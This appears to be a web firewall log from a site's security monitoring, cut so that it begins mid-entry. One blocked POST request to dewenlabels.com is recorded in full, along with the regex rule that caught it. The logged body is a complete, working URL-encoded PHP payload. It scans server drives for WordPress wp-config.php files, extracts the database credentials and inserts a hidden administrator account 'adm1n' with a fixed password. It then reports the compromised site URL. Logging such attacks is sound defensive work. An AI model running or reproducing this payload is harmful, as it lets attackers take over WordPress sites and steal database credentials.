_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:19:45","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Az:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\n\nAz=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
